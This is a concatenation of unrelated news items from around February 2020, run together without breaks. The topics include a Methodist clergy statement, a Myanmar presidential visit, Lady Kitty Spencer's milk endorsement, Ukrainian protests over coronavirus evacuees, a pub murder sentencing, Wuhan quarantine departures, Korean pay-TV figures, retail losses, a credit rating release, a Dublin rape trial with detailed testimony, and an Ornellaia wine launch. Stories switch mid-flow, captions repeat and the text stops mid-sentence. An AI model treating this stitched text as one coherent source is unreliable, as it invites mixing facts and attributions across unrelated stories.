For the record, in a potential new Methodist movement: We are committed to women being ordained in ministry. This is not unclear, and it is not unknown. Read this link. Read this link. And read this link. Please refrain from continuing a narrative that does not reflect this fact. We are committed to dynamic life-transforming ministry with every ethnic group. We are committed to the continuation of the office of Bishops, the authority of Bishops, and the continuation of being a connectional church that fosters accountability. Please refrain from continuing a narrative that does not reflect this fact. We are committed to revising our apportionment formula to advance greater expressions of mission. Our connectional giving, and the outdated structure some of it supports, can be better utilized for greater expressions of Gods mission outside the walls of the church both locally and globally. We are committed to lay pastors, their empowerment, and ways to bolster their voice and involvement in the life of the church on all levels. We are committed to a new day for a people called Methodists! A new day that rekindles the best of our originating impulses by planting new churches in the United States and around the world. A new day of equipping local bodies with the seeds of church revitalization! A new day of seeing life-giving expressions of the captive being set free and the binding up of brokenness thats pervasive all around us. We believe the best days of Methodism are ahead of us! Sincerely, Tim Alexander, Jeff Armbrester, Steve Baccus, Tim Barnes, Jake Barrett, Kenny Baskins, Alan Beasley, Keith Beatty, Harvey Beck, Bart Bowlin, Liz Bowlin, Charlie Brown, Glenn Conner, Raul Dominguez-Flores, Bridget Dowdy, Dee Dowdy, Eddie Gooch, Tommy Gray, Rudy Guess, Barry Hallman, Randall Ham, Todd Henderson, Gail Hiett, John Hill, Lyle Holland, Jody Hooven, Ron Howard, Sam Huffstutler, Nicky James, John Kearns, Tiwirai Kufarimai, Mark Lacey, Robert Lancaster, Paul Lawler, Bo Lloyd, Mark Mayo, Vicki Mann, Chris Martin, Michael Miller, Chris Montgomery, Deborah Moon, Todd Owen, Mark Parris, Scott Railey, John Ryberg, Ricky Smith, Vaughn Stafford, John Tanner, Rusty Tate, Blue Vardaman, John Verciglio, Ben Vernon, Ray Weaver, Michael Wilder, Trav Wilson, Lee Witherington President Myint had visited India last year to attend Narendra Modi's second swearing-in ceremony as the prime minister New Delhi: Myanmar president Win Myint will be visiting India next week on a four-day tour from 26 to 29 February. Myint's visit follows an invitation extended by president Ram Nath Kovind, the Ministry of External Affairs said in a statement. The Myanmar president is also scheduled to hold several official meetings in New Delhi. The visiting dignitary, along with his wife, the First Lady, Daw Cho Cho, is also expected to visit Agra and Bodh Gaya. President Myint had visited India last year to attend Narendra Modi's second swearing-in ceremony as the prime minister. He was personally invited by Modi for the ceremony. She's a regular at the most glamorous shows during Fashion Month, and Lady Kitty Spencer put on a typically stylish display as she stepped out in Milan today. The D&G model, 29, looked chic in a black and cream pleated midi-skirt teamed with a colour-coordinated collared shirt. Lady Kitty arrived at Tod's autumn/winter collection clutching a small leather bag in which she carried a few essentials. Her shirt featured a ruched cord to cinch in her svelte waist, and she teamed the ensemble with an eye-catching pair of red slip-on mules with a miniature heel. Lady Kitty Spencer, 29, looked chic in a black and cream pleated midi-skirt teamed with a colour-coordinated collared shirt as she arrived at Tod's show at Milan Fashion Week on Friday Princess Diana's niece, the eldest child of the 9th Earl Spencer, wore her blonde tresses in flowing curls and accessorised with an elegant pair of diamond earrings. She wore a neutral palette of makeup to accentuate her features and pulled her locks back behind her ears. Tod's is an Italian company that create luxury shoes and other leather items. The outing comes after it emerged Lady Kitty was using her royal connection to endorse Satine Jersey milk in China. Her shirt featured a ruched pull cord to cinch in her svelte waist and she teamed the ensemble with an eye-catching pair of red slip-on mules with a miniature heel Princess Diana's niece, the eldest child of the 9th Earl Spencer, wore her blonde tresses in flowing curls and accessorised with an elegant pair of diamond earrings Lady Kitty posed in a stunning emerald dress with a cup of tea for a photoshoot at the British Museum. The first cousin to Princes William and Harry, told Chinese journalists: The day of the Royal Family usually begins with a cup of milk or a cup of tea. Dozens of photographs were taken of Lady Kitty, whose dress was designed with a nod to Far Eastern couture, at the Satine launch event on June 8. With the grand backdrop of the British Museums marble atrium, Lady Kitty sipped tea while a Chinese woman poured milk from a carton with the title Satine Jersey Milk British Museum Classic Edition into a jug. A press release issued by the milk company made great play of her royal connections, saying: Kitty Spencer, niece of the late Princess Diana, made an authentic English breakfast tea with Jersey milk and shared the story of Jersey milk and the British Royal Family. Lady Kitty, who is not a member of the Royal Family, was quoted as saying: Jersey milk has a close relationship with the British Royal Family. The outing comes after it emerged Lady Kitty was using her royal connection to endorse Satine Jersey milk in China (pictured during a photo call at the British Museum) 'At Buckingham Palace, the official residence of the Queen in London, the Queens day begins with drinking a cup of tea. Jersey milk has been enjoyed by the British Royal Family for many years. Jersey milk is considered to be the finest and most special from the United Kingdom. The launch event led to gushing articles in the Chinese media about Satine milk and British noble member Lady Kitty. The British Museum received a fee for hosting the event, which it said was commercially sensitive. A spokesman said: The British Museum started its brand licensing programme back in 2016 and has an international programme, with select licensee partners in China, the UK, Europe and North America. The press release details the collaboration on this particular product and the role of the British Museum, whereby the design of the packaging for a specific product was inspired by objects in the British Museums collection. This is a reference to the milk carton that is emblazoned with Satine The British Museum and features a sketch based on an 1846 lithograph of Queen Victoria and Prince Albert with their children, titled The Royal Children in the Nursery. There was no comment from Lady Kittys agent or from Buckingham Palace at the time. Dozens of protesters have clashed with police and hurled stones at buses in Ukraine carrying more than 70 people who were evacuated from China over fears about the ongoing coronavirus outbreak. Although Ukrainian authorities have worked to assure local residents in the village of Novi Sanzhary that none of the evacuees have symptoms of the virus, panic over a potential outbreak in the Eastern European country led to some residents attempting to block the buses. SBU, Ukraines security service, said in a statement that a fake email purportedly from the countrys health ministry had circulated claiming some evacuees had contracted the virus. Volodymyr Zelensky, the countrys president, has called for local residents to show support for the evacuees and said his government would do everything possible to make sure the virus does not get to Ukraine. In an effort to show solidarity with the evacuees, Zoryana Skaletska, Ukraines health minister, has said she will join the quarantine for two weeks and run her ministry by Skype. Ukrainian protesters attack bus carrying coronavirus evacuees Show all 9 1 /9 Ukrainian protesters attack bus carrying coronavirus evacuees Ukrainian protesters attack bus carrying coronavirus evacuees Ukrainian law enforcement officers clear the way as demonstrators block a road during a protest against the arrival of evacuees from China REUTERS Ukrainian protesters attack bus carrying coronavirus evacuees Buses carrying evacuees from coronavirus-hit China drive to a medical facility as law enforcement officers clear the way from protesters AFP via Getty Images Ukrainian protesters attack bus carrying coronavirus evacuees Ukrainian firefighters clear the way after protesters attempt to stop the arrival of evacuees from China REUTERS Ukrainian protesters attack bus carrying coronavirus evacuees A demonstrator throws a stone towards a police van during a protest against the arrival of a plane carrying evacuees from China REUTERS Ukrainian protesters attack bus carrying coronavirus evacuees A Ukrainian riot police officer detains a protester, who planned to stop buses carrying passengers evacuated from China AP Ukrainian protesters attack bus carrying coronavirus evacuees Demonstrators set fire and erect a barricade as they protest the arrival of a plane carrying evacuees from China REUTERS Ukrainian protesters attack bus carrying coronavirus evacuees Ukrainian riot police run to push protesters outside Novi Sarzhany, Ukraine AP Ukrainian protesters attack bus carrying coronavirus evacuees Protesters help an injured demonstrator, who attempted to stop buses carrying China evacuees AP Ukrainian protesters attack bus carrying coronavirus evacuees Protesters speak to Ukrainian riot police blocking the road outside Novi Sarzhany AP Once again I want to emphasise: these people are our fellow citizens, they are not strangers to us, she wrote in a statement. We live in the same country and we have to take care of their health and safety. Buses carrying the evacuees, who appeared to be unhurt, were finally able to reach the sanatorium where the quarantine will take place after hours of clashes. Several hundred residents from Novi Sanzhary, in Ukraines central Poltava region, had spent the day putting up road blocks and burned tires to prevent the buses from passing. Protesters, some of whom appeared to be drunk, also clashed with riot police as they tried to clear the road and one resident attempted to ram police lines with his car. Arsen Avakov, Ukraines interior minister, personally visited the site to try to calm the crowd and said he was shocked by the anger. What we saw was shameful, he said in televised remarks. It was one of the biggest disappointments in my life. However, municipal legislators in the local area have vowed to continue opposing the evacuation. We can't allow putting the health and life of local residents at risk, and demand that top officials take urgent moves to prevent people from China from being put here, a statement from the legislators said. Ukrainian police said 24 protesters were detained over the clashes. Nine police officers and one civilian were hospitalised, a statement by the regional police added. On Thursday, 45 Ukrainians and 27 foreign nationals flew to Ukraine from Wuhan, the epicentre of the outbreak which has infected more than 75,000 people and killed more than 2,000. Those evacuated included people from Belarus, Kazakhstan, Argentina, Ecuador, Costa Rica, the Dominican Republic, Panama and other countries. Argentina's Foreign Ministry has thanked Ukraine for its "generosity" in taking passengers and China for its collaboration. Ukraine has no confirmed cases of the virus, which is official called COVID-19, at this time. Additional reporting by AP Lee Abbott was found guilty of murdering father-of-three Christian Thornton outside the Hammer and Pincer pub on August 11, 2019.(CHESHIRE POLICE/PA) A man who stabbed a landlord 11 times in a frenzied attack after being barred from his pub has been jailed for life. On Thursday, Lee Abbott, 35, was found guilty of the murder of father-of-three Christian Thornton, 49, outside the Hammer and Pincers pub in Widnes on August 11 last year. The court heard Abbott had gone to the pub armed with a large kitchen knife and stabbed Mr Thornton 11 times. He had been barred from all pubs in the area for 12 months as part of the PubWatch scheme after Thornton heard him bragging about carrying a knife. The court heard how Abbott stabbed publican Christian Thornton (pictured) 11 times in a frenzied attack outside the Hammer and Pincers pub in Windes, Cheshire. (CHESHIRE POLICE) He also threatened to burn down Mr Thorntons premises following his ban. Despite the ban, Abbott returned to the Hammer and Pincers at around 3.10pm that day. Abbott was sentenced to life, with a minimum of 28 years to be served, at Liverpool Crown Court on Friday. (CHESHIRE POLICE) He was asked to leave by Christian and started to walk away from the pub before turning around, running back towards him and pulling a knife from a backpack and fatally stabbing him. Abbott, of Rose Street, Widnes, was arrested about an hour later by armed police at his friendss house nearby. The court how he told officers: You dont need any evidence, I stabbed him to f***. Read more from Yahoo News UK: Investigations underway after two left dead in eight vehicle pile-up War veteran, 102, fights off burglar who forced his way into home Teen jailed for leaving boy disabled from 'Walking Dead' baseball bat attack He admitted manslaughter but denied murdered on the grounds he did not have the intent to murder as he was heavily intoxicated and had diminished responsibility on the basis of an abnormality of mental functioning. The jury was told he was sexually abused by a gangster when he was a teenager. Abbott was sentenced to life, with a minimum of 28 years to be served, at Liverpool Crown Court on Friday. Footage showing Abbott's arrest, around an hour after he fatally stabbed the publican to death. (PA) In a statement released after the sentencing, Mr Thorntons widow Pam said: Lee Abbott not only took my husbands life but also destroyed my life and the lives of our three children. Since that day, the indescribable pain I have lived with has been multiplied as I watch our children try to come to terms with losing their dad in such a violent way. Story continues They do so with dignity and strength that would make their dad proud. Handout screengrab from CCTV dated 11/8/2019 issued by Cheshire Constabulary just before Abbott (left) stabbed Thornton to death. (PA) Following the verdict on Thursday Detective Inspector Kate Tomlinson, who led the investigation, said: Abbotts actions that day have torn a family apart and rocked the local community. Christian was a well-known character locally, he did so much for local charities and will be greatly missed by many. Before the incident Abbott had the opportunity to walk away, but instead he made a conscious decision to return and attack Christian, which ultimately resulted in his death. This has left three children without their father, and his wife, Pam, has lost a loving husband. Their pain has been increased by the fact that they have been made to sit through an 8 day trial and relive what happened on that day. A man is walking on the street in Wuhan on Feb. 17, 2020. (STR/AFP via Getty Images) Exclusive: 10s of Thousands in Coronavirus Epicenter Have Violated Quarantine, Traveled to Other Cities In an attempt to stem the spread of the novel coronavirus, officials in Wuhan, the central Chinese city where the outbreak started, banned all transportation and vehicle traffic on Jan. 23, and two days later, the province of Hubei, where Wuhan is the capital, announced a lockdown. But internal government documents seen by the Chinese-language Epoch Times indicate that roughly 25,000 people per day have found ways to leave Wuhan. The documents are copies of recent daily reports by the Hubei Communications Administration, a government agency, which had been submitted to an office in the Hubei government that was created to deal with the coronavirus outbreak. The agency monitored and recorded all Hubei residents cellphone geolocation positions, using the data to tally the number of those who had stayed in Wuhan for more than 24 hours before leaving the confines of the city. These people have not returned to Wuhan. The data was gathered from the three telecom carriers that operate in Wuhan: China Telecom, China Mobile, and China Unicom. As the data only includes people who stayed for more than 24 hours in Wuhan, its likely that they are local residents, as opposed to drivers or other personnel who only stay in the city long enough to transport or deliver goods. The cellphone data showed that on Feb. 18, 22,936 people left Wuhan and 92,110 people exited Hubei; the next day, the numbers rose, in Wuhan to 23,316 people and to a total of 93,814 for all of Hubei Province. The number of people who left Wuhan from Feb. 4 to Feb. 19 was 130,519, while 433,340 people left Hubei in the same time frame. Most Wuhan residents went to nearby cities within Hubei Province. Others have traveled to 30 other provinces and directly governed municipalities across the countryas far away as Tibet. The data roughly matches the destinations of 5 million Wuhanese who left the city before the city was locked down on Jan. 23, and likely spread the disease across the country. Lockdown When Wuhan was locked down, all flights, as well as train, ferry, and bus services were stopped. All of the highways were blocked. But three types of vehicles still can enter and leave the city via highways: trucks that carry medical supplies; trucks that transport goods for basic living needs; and vehicles for municipal needs, such as transporting water, electricity, gas, and other necessities, according to state-run media Xinhua. To enter and leave the city, vehicle owners must apply for an epidemic prevention and control pass from the Wuhan polices traffic management bureau. The pass is for one-time use. For vehicles from other cities, police at highway entrance checkpoints issue the passes to drivers after confirming that the vehicles are carrying goods belonging to the three categories. At exit checkpoints, police will check the drivers body temperature; if normal, drivers are allowed to pass. Several drivers who transport medical or food materials told the Chinese-language Epoch Times that they can move in and out of the city after applying for a dedicated pass from the Wuhan Red Cross and a certification document from designated virus treatment hospitals. Escaping Even amid such restrictions, people have managed to leave. U.S.-based China affairs commentator Tang Jingyuan says many people are afraid of becoming infected and are in search of someplace safer. The Wuhan government locked down the city and forced healthy people to live together with infected people in town. Also, food supply is a big problem in the city right now. So the healthy people want to escape as soon as possible, Tang said. Several local governments have recently donated rice to Hubei, while several Wuhan hospitals have requested food donations on social media. At the same time, the infected people cant receive proper treatment, no matter in a hospital or at a quarantine center. They want to be saved and want to leave the city as well, Tang said. Many Wuhan residents who have fallen ill say hospitals have turned them away because of a lack of beds. Officials in Wuhan have also mandated that people with mild or moderate symptoms of the virusbut no confirmed diagnosisbe moved to quarantine centers and makeshift hospitals. Several patients said theres little to no medical treatment at these centers. They also fear cross-infection. If they are quarantined with infected people, they believe that they would be infected immediately. They want to leave Wuhan as well, Tang told The Epoch Times. He thinks people could have escaped illicitly. In China, if you have a good relationship with senior officials, you get special privileges and you dont need to follow the rules. Youll have a higher chance of leaving the city, Tang said. He said he was concerned that some of those who escaped may have been infected with the virus and carried it to other parts of the country. Click here to download the Hubei Communications Administrations daily report on Feb. 17. By Kim Hyun-bin More people have switched to IPTV platforms with subscribers exceeding 15 million for the first time in 2018, as cable TV subscriptions dropped to 13 million, widening the gap even further in the pay TV sector. According to the Korea Communication Commission's (KCC) "2019 broadcast market competitive analysis" which compares the profitability of the different industry segments, there were 15.66 million IPTV subscribers in 2018, up 9.3 percent from the previous year. However, cable TV subscriptions dropped 1.7 percent to 13.8 million. The report analyzes competition within the pay TV sector IPTV, Cable TV, Satellite TV and 8-level vestigial sideband (8VSB) as well as broadcast channels, and the program and advertisement market. The gap between the two platforms have been widening in recent years. In 2017, IPTV surpassed cable TV for the first time by 290,000 and in 2018 the gap further enlarged to 860,000. The total pay TV market has shown a growth of 3.5 percent to 32.72 million subscribers. Through mergers and acquisitions (M&A) KT and KT Skylife led the pay-per-view market with 31.2 percent or 10.22 million, followed by LG U+ and LG Hello Vision at 24.6 percent (8.06 million), and SK Broadband and T Broad with 23.9 percent (7.83 million). In 2018, total sales from channel distributions accounted for 1.366 trillion won up 8.7 percent. Excluding regular PP channels such as home shopping, data, radio and video on demand, total sales increased 2.7 percent to 718.2 billion won. The three major broadcasters KBS, MBC and SBS saw aggregate increase 25.4 percent to 318.4 billion won. CJ affiliated channels produced the most turnover with 210 billion won followed by MBC with 148 billion won, KBS 143 billion won and SBS with 118 billion won. Statistics show the market has been dominated by a few companies gaining more market share through M&As. Experts point out that the government's most urgent task is to secure fair competition. "Our efforts should not stop with the broadcast market competitive analysiswe need to brainstorm policies that will give positive vibes and direction to the industry," KCC Chairman Han Sang-hyuk said. Voters expect women to be above the fray. Amanda Hunter, research director at the Barbara Lee Family Foundation [In Her Words is available as a newsletter. Sign up here to get it delivered to your inbox.] It was electric. It was fiery. It was feisty. The Democratic presidential debate in Las Vegas on Wednesday was the most heated of the campaign so far, and with two women on the stage and a newcomer with a track record of sexist comments gender issues were never far from the conversation. Here are four takeaways from the debate, through a gender lens. The moment when Senator Elizabeth Warren of Massachusetts, after attacking former New York City Mayor Michael Bloomberg for being an arrogant billionaire, presses him about allegations that his company was a hostile workplace for women. What we need to know is exactly whats lurking out there, she says. He has gotten some number of women, dozens, who knows, to sign nondisclosure agreements both for sexual harassment and for gender discrimination in the workplace. Local firms can take advantage of high-quality timber sourced from the EU after the EVFTA takes effect Nguyen Chanh Phuong, deputy chairman cum general secretary of the Handicraft and Wood Industry Association of Ho Chi Minh City (HAWA), estimated that Vietnam could rake in $1 billion in export value of wood products to the EU right in the first year of the EVFTA's enforcement. Before the deal got the thumbs-up from the European Parliament, two years ago, several Western Eropean countries approved zero per cent export duties for wood products exported from Vietnam, providing Most-Favoured Nation (MFN) treatment to Vietnam. As negotiated, after the EVFTA comes into force, about 83 per cent of tax lines on wood products will be cut from 6 to 0 per cent right after the deal comes into force, and the remaining 17 per cent will fall to zero per cent after five years of enforcement. A HAWA representative said that in the short term, Vietnams wood processing industry would not benefit much from tariff cuts, and the cuts are not larger than those of Vietnams key export items to the EU, such as textile and clothing, footwear, and agricultural products. In the long-term, with EVFTA having large spillover effects on other commodities, the wood industry will become indirectly beneficial. In the long-term, with the EVFTA having large spillover effects on other commodities, the wood industry will become indirectly beneficial. Particularly, under the EVFTA, local businesses can take advantage of the production technology, management expertise, as well as cutting-edge machinery and equipment of EU countries. In the past, these machinery and equipment items often incurred 20-30 per cent tariffs. The EVFTA coming into force will help lower prices, even provide exemptions or deferred payments, said HAWA representative. Simultaneously, the EU-Vietnam Investment Protection Agreement (EVIPA) will aid the investment process in Vietnam, helping to lure investors into the furniture and wood processing industry from Europe to Vietnam, from there helping the local wood industry to avail of the capital, techniques, and management expertise of EU investors. Broad commitments on investment under the EVIPA will facilitate EU investors business in Vietnam. Vietnam might become the centre for EU trade and investment in the region. Another, not minor benefit is that Vietnamese firms can import high-quality timber with clear origin from the EU, said Phuong. Vietnam exported nearly $700 million worth of wood products to the EU in 2019, accounting for about 8 per cent of the sectors total export value. Not only a big partner in wood export, the EU also acts as an important timber supplier for Vietnam. Key wood items Vietnam imports from the EU are round wood, sawn wood, veneers, and plywood at an estimated volume of more than one million cubic metres per year, for export processing and domestic consumption. Department store giant David Jones plans to slash 31,000 square metres of floor space in the next two years as profits continue to plummet. The struggling South African-owned retailer's half-year profit nosedived by more than 50 per cent to $20million in the second half of 2019. The reduction in store size is part of a longer-term goal to cut its 486,000 square metres of floor space by 20 per cent within five years. The number of store closures it would involve is yet to be revealed. David Jones' half-year profit nosedived by more than 50 per cent in the second half of 2019 Acting chief executive Ian Moir said the recent national bushfire disaster has had a devastating impact in the last 'sad and difficult' few months. Poor wage growth, record-low interest rates and weak consumer spending were blamed for driving profits down. '(These are the) toughest conditions I've ever seen,' Mr Moir said. 'Challenging economic conditions in both markets, with the additional burden of power outages in South Africa, and bushfires affecting footfall in Australia, further impacted trade.' The news came on the same day Colette by Colette Hayman announced it will close a quarter of its stores within weeks after the popular handbag retailer went into administration earlier this month. Acting chief executive Ian Moir said the recent national bushfire disaster has had a devastating impact in the last 'sad and difficult' few months Dropping like flies: Some of Australia's recent retail casualties 2016: Dick Smith, Masters hardware, Payless Shoes 2017: Topshop Australia 2018: Avon, Espirit, Toys 'R' Us, Max Brenner, Roger David 2019: Ed Harry, Diana Ferrari, Napoleon Perdis, Ziera, Bardot, Harris Scarfe 2020: EB Games, Colette by Colette Hayman Advertisement Earlier, Mr Moir said he'd made inroads on reducing the size of the chain's stores since vowing to 'get aggressive' with landlords. 'We're reaching good agreements with our key landlords. I think there's a realisation that retail is changing, and we've all got to face into that change,' Mr Moir told the Sydney Morning Herald. 'There's been good debate on how we reduce space where we need to, good debate about how we come to the party together on capital contribution. It's a good robust discussion that we're having with all of our landlords.' Australia's retail apocalypse has also claimed retailers Harris Scarfe, Bardot, Roger David and Napoleon Perdis in the last year. Experts have claimed consumers are now turning to online shopping over bricks-and-mortar stores. David Jones acting CEO Ian Moir said the devastating bushfires have driven profits down Australian retail growth is at its worst level since the early 1990s recession and international giants like Amazon and Aldi threaten to make life even more difficult for local brands. Harris Scarfe, founded in 1849, took consumers by surprise when it entered administration in December and is now about to close at least 21 stores. Days later the country's sixth-largest wine company McWilliam's Wine, which has been around for 140 years, announced it had appointed voluntary administrators. Popular video game chain EB Games was next, with the business announcing the closure of 19 stores across Australia in early January. Major fashion chain Bardot also announced plans to close 58 stores nationwide before March. T he growing skills gap in tech is becoming expensive: according to the CBI, two-thirds of firms cant fill digital roles which is costing businesses around 4.4 billion each year. One way to solve this skills gap is training up young people and WhiteHat thinks it has the key. The start-up, established by former bankers Euan Blair and Sophie Adelman, is on a mission to create an alternative to university, mainly through apprenticeships. The organisation focuses on placing school-leavers in roles for the likes of Facebook, Improbable and Treatwell. However, WhiteHat realised there was a gap in the market in providing training for young people ahead of their apprenticeships, to ensure they had the necessary skills that would allow them to seek full-time employment. Thats how a new programme named Tech Talent Accelerator in collaboration with Generation UK was created. Set to launch next month, 100 young Londoners from disadvantaged backgrounds will be taken through a six-week free coding programme to teach them the basics when it comes to software engineering and data science. On completion of the course, Adelman hopes many of the students will go on to WhiteHat apprentices with the likes of Facebook and Morgan Stanley signed up to employ the graduates. We realised that for many young people who look at companies like Facebook, Twitter and Google, they think, Gosh, I have no idea how I would ever work for those companies, says Adelman. Theres a massive barrier for those young people to develop the skills to get into those careers. We thought this would be the way to level the playing field and get more diverse young people into these career paths. The equivalent coding course would cost around 5,000 per person, but the Tech Talent Accelerator is funded by BlackRock Charitable Trust, the philanthropic arm of the global investment corporation, so it is completely free. Over the next two years, four cohorts of 25 people aged between 18-24 will learn technical skills as well as something Generation UK refers to as growth mindset skills. We need to build upon the students awareness and eagerness to learn because in the tech sector thats an absolute requirement. As well as training technical skills, we major heavily on developing the mindsets and behaviours that we know will be critical for on-going success, explains Generation UK CEO Michael Houlihan. Ensuring there is a diverse range of students is a particular focus for the programme. Already, 65 per cent of apprentices placed by WhiteHat come from minority ethnic backgrounds and 50 per cent have claimed free school meals. The two organisations are aiming to target people in areas of the city with high rates of unemployment, such as Newham, Barking and Dagenham, have experienced time in local authority care, have or have had a refugee status or have dependents or caring responsibilities. These are really transformative job opportunities for people to move out of unemployment or zero-hours contracts into jobs where theyre earning 20,000+ and can have a realistic hope to double that over the next five years, says Houlihan. In addition, companies are crying out for diverse talent, says Adelman. Diversity is essential to many companies now and bringing in diverse talent is a key objective for them. There are supply and demand dynamics at play. Towards the end of the six weeks, the students will also receive career advice, interview prep and help to connect with mentors in order to support them with securing full-time roles. We don't expect all the young people who go through this programme to get an apprenticeship or a job but we are going to be looking at positive destinations for all people, adds Adelman. If these first pilot groups go well, WhiteHat and Generation UK both hope it will lead to more cohorts and training programmes. 100 people is scratching the surface of the possibility. When you look at the number of software engineering vacancies that there are nationally, or even just in London, its in the tens of thousands, says Houlihan. We would like programmes like this to become a reasonable contributor to [ending] those vacancies. AM Best has affirmed the Financial Strength Rating of B++ (Good) and the Long-Term Issuer Credit Ratings of "bbb+" of Athora Life Re Ltd. (Athora Re) (Bermuda) and its subsidiary, Athora Ireland plc (Athora Ireland) (Ireland). The outlook of these Credit Ratings (ratings) is stable. Athora Re's ratings reflect its balance sheet strength, which AM Best categorises as strong, as well as its adequate operating performance, neutral business profile and appropriate enterprise risk management (ERM). The ratings of Athora Ireland reflect its strategic importance to Athora Re as a vehicle for writing reinsurance business in the European Union. It is likely that a portion of new business written by Athora Ireland will be retroceded to Athora Re. Athora Re, which was incorporated in April 2017, benefits from the support of its parent, Athora Holding Ltd. (Athora). Athora specialises in the consolidation of life insurance back books in Europe and has raised EUR 4 billion of committed capital, of which approximately EUR 700 million has been drawn to date. A significant drawdown is expected to support the group's acquisition of Netherlands-based insurer VIVAT N.V., which is planned to complete in the first quarter of 2020, subject to regulatory approval. The company also benefits from Athora's strategic partnerships with shareholders Athene Holding Ltd. and Apollo Global Management, Inc. (Apollo). Apollo provides investment management services to the group. AM Best projects Athora Re's risk-adjusted capitalisation to be at the strongest level for year-end 2019, as measured by Best's Capital Adequacy Ratio (BCAR). Although risk-adjusted capitalisation is likely to decline over the medium term due to planned business growth and increased investment risk, Athora is expected to provide Athora Re with sufficient capital to support its strategy. An offsetting rating factor is the material uncertainty surrounding the scale, timing and commercial terms of future reinsurance transactions, and how these will influence the company's balance sheet composition. AM Best expects Athora Re's investment portfolio to remain liquid and well-diversified, held predominantly in cash and cash equivalents, investment grade fixed income and residential mortgages. However, an allocation towards private credit and alternative investments exposes the company to elevated investment risk. Athora Re's target of a close-to-zero duration gap somewhat mitigates this risk, as does strategic partner Apollo's significant experience in credit investing. Athora Re's performance is not expected to meet the group's ambitious longer term return on equity targets, while it builds scale and structures its investment portfolio toward its target asset allocation. Over time, AM Best expects investment returns to be a significant driver of performance, due to high, albeit potentially volatile, yields on private credit and alternative investments. A key pillar of the company's strategy, and the main source of forecast business growth, is the provision of external reinsurance solutions to life insurers in the European market. However, Athora Re has only transacted internal reinsurance business to date. Internal reinsurance facilitates the centralisation of liabilities in Bermuda for capital optimisation. AM Best expects the business profile of Athora Re to be heavily driven by the execution of the broader group's business plan. This press release relates to Credit Ratings that have been published on AM Best's website. For all rating information relating to the release and pertinent disclosures, including details of the office responsible for issuing each of the individual ratings referenced in this release, please see AM Best's Recent Rating Activity web page. For additional information regarding the use and limitations of Credit Rating opinions, please view Guide to Best's Credit Ratings. For information on the proper media use of Best's Credit Ratings and AM Best press releases, please view Guide for Media Proper Use of Best's Credit Ratings and AM Best Rating Action Press Releases. AM Best is a global credit rating agency, news publisher and data analytics provider specializing in the insurance industry. Headquartered in the United States, the company does business in over 100 countries with regional offices in New York, London, Amsterdam, Dubai, Hong Kong, Singapore and Mexico City. For more information, visit www.ambest.com. Copyright 2020 by A.M. Best Rating Services, Inc. and/or its affiliates. ALL RIGHTS RESERVED. View source version on businesswire.com: https://www.businesswire.com/news/home/20200221005272/en/ Contacts: William Keen-Tomlinson, ACA Financial Analyst +44 20 7397 4395 will.keen-tomlinson@ambest.com Catherine Thomas, CFA Senior Director +44 20 7397 0281 catherine.thomas@ambest.com Christopher Sharkey Manager, Public Relations +1 908 439 2200, ext. 5159 christopher.sharkey@ambest.com Jim Peavy Director, Public Relations +1 908 439 2200, ext. 5644 james.peavy@ambest.com US President Donald Trump Criticizes Academy Awards For Parasite's Win, Takes A Jibe At Brad Pitt Too! A woman has told the Central Criminal Court she was left "in the middle of nowhere" after being raped by three Dublin teenagers. The three, who cannot be named for legal reasons, have pleaded not guilty at the Central Criminal Court to raping the woman at Bull Island, Dollymount, on January 5, 2016. She was 18 at the time and the accused were aged 17 to 18. In her opening speech, Anne-Marie Lawlor, prosecuting, said the jury would hear the complainant met the three accused in an internet cafe on the evening in question. Ms Lawlor said the woman claims they took her to Dollymount Strand, where she was raped by each of them in turn. She told Ms Lawlor earlier in the trial that they said they were going for a drive and they would bring her back. Fun She said she did not want to go at first, but agreed to go for a walk and got into the car. She said the car ended up in the middle of nowhere. She added that the driver asked: "Are we going to have some fun?" The woman said the three got out and then the man who had been in the front passenger seat got in beside her. He asked if they were going to do anything and she said no. She said the man pulled down his trousers, put on a condom and pulled down her trousers. She said she did not want to do anything, but he got on top of her and had sex with her. The woman said that after the man finished, he left the car and another man came over. She said she did not want to go through that again before this man put on a condom and also had sex with her. She said that after the second man finished, he called over his friend and handed him a condom. The third man then pushed himself on her and kissed her. She said she did not consent to it. The woman said she felt "horrible, shocked and disgusted". She said her door had a child lock on it and she could not get out of the car. She said she was told that another person was going to pick her up and bring her home, and the car headed off. The woman said another car arrived containing three men. She said they asked if she was going to have sex with them and she said she did not want to. She said the driver pulled down her trousers, got hold of her head and put himself inside her. She said another man was standing there with a light on his phone and she was sure that it was being video-recorded. The woman said the men all got into the car, laughed and drove away, leaving her in the middle of nowhere. She said she walked until she found a closed Chinese restaurant and asked people there to call gardai. The jury was empanelled earlier this month, but there has been lengthy legal argument since and the trial resumed in evidence only yesterday. The trial continues. Giovanni Geddes da Filicaja, CEO of Ornellaia, Ferdinando Frescobaldi, President of Ornellaia and Axel Heinz, Estate Director of Ornellaia present Ornellaia 2017 - "Solare" "We have chosen the word "Solare" (which in English translates as Radiant) to describe Ornellaia 2017 because it expresses its positive qualities. - Axel Heinz, Ornellaia Estate Director Ornellaia, the iconic Italian wine producer, announces its 2017 vintage "Solare" featuring artist labels designed by Tomas Saraceno along with a continued collaboration with the Solomon R. Guggenheim Foundation's "Mind's Eye" program and Sotheby's Wine. Vintage 2017 was certainly one of extremes, in which frosts, sun and drought captured the imagination. Despite the fact that it was a challenging year for the team in the vineyards and for us winemakers, I am very happy with the high quality and character of this vintage. We have chosen the word "Solare" (which in English translates as Radiant) to describe Ornellaia 2017 because it expresses its positive qualities, explains Axel Heinz, Estate Director of the Bolgheri winery. To preserve the strong and opulent personality of this wine, we had to apply the utmost care and attention from the vineyard to cellar more so than in a normal vintage. This careful management of the grapes, starting with an early harvest, has resulted in a harmonious wine in which scents of blackberries and licorice prevail alongside velvety tannins typical of warm vintages. In short I would say that Ornellaia 2017 is sumptuously Mediterranean. In line with these words from Axel Heinz, this years Vendemmia dArtista project turns its attention to our planet and the star that illuminates it. The artist chosen to interpret the character of Solare is the visionary Tomas Saraceno, known worldwide for his interactive installations that, in this age of ecological upheaval, propose new, more sustainable ways to live. Sustainability has always played an important role for Ornellaia. The estate itself is a harmonious ecosystem with internal checks and balances that expresses the characteristics of each single plot and its unique terroir. Sustainable viticulture, defined by the conservation and enrichment of our terrain and the landscape in general, is essential to Ornellaias production philosophy. Through minimal intervention, we encourage the plants spontaneous tendency towards equilibrium. Precision viticulture addresses the specific needs of each parcel, whereas low-impact intervention stimulates the plants natural defenses. Ornellaia 2017 Solare was produced in a year with above-average temperatures, early budbreak, and a sharp dip in temperatures in April that fortunately did not influence the vegetative growth cycle. The proximity of the Bolgheri DOC to the Mediterranean Sea played a 